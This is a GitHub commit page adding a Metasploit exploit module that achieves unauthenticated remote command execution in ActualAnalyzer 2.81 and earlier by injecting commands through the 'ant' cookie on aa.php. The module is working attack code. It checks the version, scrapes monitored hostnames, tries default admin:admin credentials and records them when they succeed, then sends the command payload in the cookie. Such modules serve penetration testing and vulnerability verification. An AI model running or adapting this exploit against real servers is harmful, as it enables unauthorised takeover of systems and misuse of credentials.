Skip to content

Commit 5ca8f18

Browse files
committed
Merge remote-tracking branch 'upstream/pr/4328' into temp
2 parents 3ee6010 + 4530066 commit 5ca8f18

File tree

1 file changed

+255
-0
lines changed

1 file changed

+255
-0
lines changed
Lines changed: 255 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,255 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
17+
'Description' => %q{
18+
This module exploits a command execution vulnerability in
19+
ActualAnalyzer version 2.81 and prior.
20+
21+
The 'aa.php' file allows unauthenticated users to
22+
execute arbitrary commands in the 'ant' cookie.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Benjamin Harris', # Discovery and exploit
28+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
29+
],
30+
'References' =>
31+
[
32+
['EDB', '34450'],
33+
['OSVDB', '110601']
34+
],
35+
'Payload' =>
36+
{
37+
'Space' => 4096, # HTTP cookie
38+
'DisableNops' => true,
39+
'BadChars' => "\x00"
40+
},
41+
'Arch' => ARCH_CMD,
42+
'Platform' => 'unix',
43+
'Targets' =>
44+
[
45+
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
46+
['ActualAnalyzer <= 2.81', { 'auto' => true }]
47+
],
48+
'Privileged' => false,
49+
'DisclosureDate' => 'Aug 28 2014',
50+
'DefaultTarget' => 0))
51+
52+
register_options(
53+
[
54+
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
55+
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
56+
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
57+
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
58+
], self.class)
59+
end
60+
61+
#
62+
# Checks if target is running ActualAnalyzer <= 2.81
63+
#
64+
def check
65+
# check for aa.php
66+
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
67+
if !res
68+
vprint_error("#{peer} - Connection failed")
69+
return Exploit::CheckCode::Unknown
70+
elsif res.code == 404
71+
vprint_error("#{peer} - Could not find aa.php")
72+
return Exploit::CheckCode::Safe
73+
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
74+
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
75+
return Exploit::CheckCode::Detected
76+
end
77+
# check version
78+
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
79+
if !res
80+
vprint_error("#{peer} - Connection failed")
81+
return Exploit::CheckCode::Unknown
82+
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
83+
vprint_status("#{peer} - Found version: #{version}")
84+
return Exploit::CheckCode::Vulnerable if Gem::Version.new(version) <= Gem::Version.new('2.81')
85+
return Exploit::CheckCode::Detected
86+
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
87+
return Exploit::CheckCode::Detected
88+
end
89+
Exploit::CheckCode::Safe
90+
end
91+
92+
#
93+
# Try to retrieve a valid analytics host from view.php unauthenticated
94+
#
95+
def get_analytics_host_view
96+
analytics_host = nil
97+
res = send_request_cgi(
98+
'method' => 'POST',
99+
'uri' => normalize_uri(target_uri.path, 'view.php'),
100+
'vars_post' => {
101+
'id_h' => '',
102+
'listp' => '',
103+
'act_h' => 'vis_int',
104+
'oldact' => 'vis_grpg',
105+
'tint_h' => '',
106+
'extact_h' => '',
107+
'home_pos' => '',
108+
'act' => 'vis_grpg',
109+
'tint' => 'total',
110+
'grpg' => '201',
111+
'cp_vst' => 'on',
112+
'cp_hst' => 'on',
113+
'cp_htst' => 'on',
114+
'cp_reps' => 'y',
115+
'tab_sort' => '1_1'
116+
}
117+
)
118+
if !res
119+
vprint_error("#{peer} - Connection failed")
120+
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
121+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
122+
return analytics_host
123+
else
124+
vprint_status("#{peer} - Could not find any hosts on view.php")
125+
end
126+
nil
127+
end
128+
129+
#
130+
# Try to retrieve a valid analytics host from code.php unauthenticated
131+
#
132+
def get_analytics_host_code
133+
analytics_host = nil
134+
res = send_request_cgi(
135+
'uri' => normalize_uri(target_uri.path, 'code.php'),
136+
'vars_get' => {
137+
'pid' => '1'
138+
}
139+
)
140+
if !res
141+
vprint_error("#{peer} - Connection failed")
142+
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
143+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
144+
return analytics_host
145+
else
146+
vprint_status("#{peer} - Could not find any hosts on code.php")
147+
end
148+
nil
149+
end
150+
151+
#
152+
# Try to retrieve a valid analytics host from admin.php with creds
153+
#
154+
def get_analytics_host_admin
155+
analytics_host = nil
156+
user = datastore['USERNAME']
157+
pass = datastore['PASSWORD']
158+
res = send_request_cgi(
159+
'method' => 'POST',
160+
'uri' => normalize_uri(target_uri.path, 'admin.php'),
161+
'vars_post' => {
162+
'uname' => user,
163+
'passw' => pass,
164+
'id_h' => '',
165+
'listp' => '',
166+
'act_h' => '',
167+
'oldact' => 'pages',
168+
'tint_h' => '',
169+
'extact_h' => '',
170+
'param_h' => '',
171+
'param2_h' => '',
172+
'home_pos' => '',
173+
'act' => 'dynhtml',
174+
'set.x' => '11',
175+
'set.y' => '11'
176+
}
177+
)
178+
if !res
179+
vprint_error("#{peer} - Connection failed")
180+
elsif res.code == 200 && res.body =~ />Login</
181+
vprint_status("#{peer} - Login failed.")
182+
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
183+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
184+
print_good("#{peer} - Login successful! (#{user}:#{pass})")
185+
service_data = {
186+
address: rhost,
187+
port: rport,
188+
service_name: (ssl ? 'https' : 'http'),
189+
protocol: 'tcp',
190+
workspace_id: myworkspace_id
191+
}
192+
credential_data = {
193+
origin_type: :service,
194+
module_fullname: fullname,
195+
private_type: :password,
196+
private_data: pass,
197+
username: user
198+
}
199+
credential_data.merge!(service_data)
200+
credential_core = create_credential(credential_data)
201+
login_data = {
202+
core: credential_core,
203+
last_attempted_at: DateTime.now,
204+
status: Metasploit::Model::Login::Status::SUCCESSFUL
205+
}
206+
login_data.merge!(service_data)
207+
create_credential_login(login_data)
208+
return analytics_host
209+
else
210+
vprint_status("#{peer} - Could not find any hosts on admin.php")
211+
end
212+
nil
213+
end
214+
215+
def execute_command(cmd, opts = { :analytics_host => vhost })
216+
vuln_cookies = %w(anw anm)
217+
res = send_request_cgi(
218+
'uri' => normalize_uri(target_uri.path, 'aa.php'),
219+
'vars_get' => { 'anp' => opts[:analytics_host] },
220+
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
221+
)
222+
if !res
223+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
224+
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
225+
print_good("#{peer} - Payload sent successfully")
226+
return true
227+
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
228+
vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
229+
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
230+
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
231+
else
232+
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
233+
end
234+
nil
235+
end
236+
237+
def exploit
238+
analytics_hosts = []
239+
if datastore['ANALYZER_HOST'].blank?
240+
analytics_hosts << get_analytics_host_code
241+
analytics_hosts << get_analytics_host_view
242+
analytics_hosts << get_analytics_host_admin
243+
analytics_hosts << vhost
244+
analytics_hosts << '127.0.0.1'
245+
analytics_hosts << 'localhost'
246+
else
247+
analytics_hosts << datastore['ANALYZER_HOST']
248+
end
249+
analytics_hosts.uniq.each do |host|
250+
next if host.nil?
251+
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
252+
break if execute_command(payload.encoded, { :analytics_host => host })
253+
end
254+
end
255+
end

0 commit comments

Comments
 (0)